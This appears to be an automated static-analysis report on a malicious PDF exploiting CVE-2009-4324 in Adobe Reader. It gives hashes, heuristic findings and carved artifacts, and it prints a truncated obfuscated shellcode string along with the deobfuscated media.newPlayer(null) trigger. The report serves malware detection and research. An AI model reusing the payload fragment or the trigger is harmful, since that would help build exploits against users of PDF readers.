Malicious PDF — malware analysis report

Static analysis result for SHA-256 556d614daba889cd…

MALICIOUS

PDF

90.6 KB Created: 2010-03-10 09:45:22 +08:00 Authoring application: PScript5.dll Version 5.2.2 (via Bullzip PDF Printer / www.bullzip.com / Freeware Edition (not registered)) First seen: 2013-07-09
MD5: 633f9afe1501128da6bb1fcdb932afb1 SHA-1: ba0d12c4749b112fc97896a18192bf17cad46d75 SHA-256: 556d614daba889cdfbf0ce94a6a041108826415b534690b2aaaa9f46dbb3e139
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that is obfuscated using unescape() and exploits CVE-2009-4324 (media.newPlayer). This JavaScript is designed to download and execute a secondary payload. The presence of a secondary embedded PDF and suspicious static findings within it further indicate a multi-stage attack. The primary attack vector is the exploitation of a known vulnerability in PDF readers.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9961

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Zdeec%Z29dc%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z243c%Z4207%Zdcde%Z55ee%Zdcda%Zecee%Zb881%Zdc4f%Zdcde%Z67ee%Zd09e%Z9c65%Z71c2%Z8465%Z8dd6%Z9965%Z57e2%Zc29a%Zdfa6%Zba1b%Zaa55%Zefce%Zef2b%Za527%Z719f%Z29ed%Z07ed%Z52e1%Ze4ce%Z981c%Z1dd6%Ze125%Z06dd%Z07ae%Ze72f%Z99f1%Z8239%Zb265%Zdffa%Z8a33%Zd055%Z67a5%Zc080%Z31ed%Zd855%Zef65%Z771b%Z0eb7%Zef62%Z6f35%Zd81d%Zec84%Z238d%Z10b9%Zdbe5%Z1f9b%Z8357%Z7512%Z8e8c%Z9b11%Z23da%Z1099%Z8b21%Z7516%Z9cb4%Zec86%Zdcce%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2660 bytes
SHA-256: f26db2c82c2d69e4383d1256f9badfd2122a3d07cd78402c192a7867ef8d02d9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
font_00_sfnt_off0000adcc.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xADCC 143364 bytes
SHA-256: f19d4911cbc5cdab5396e54ce75b75538db6da0827c5decc1413c4c6549121f1
polyglot_child_pdf_off000093f3.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x93F3 54950 bytes
SHA-256: f6aa80392d069ac86e28f8893f6c47f7e2d9fd4de6b07542ef0d1a53e8921d50
polyglot_child_pdf_off000152a2.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x152A2 6135 bytes
SHA-256: 6ac71e960e6fb8bdbb42bcfaabbf28fb3ee2d923b5a885f6f654a6ff73c0f525

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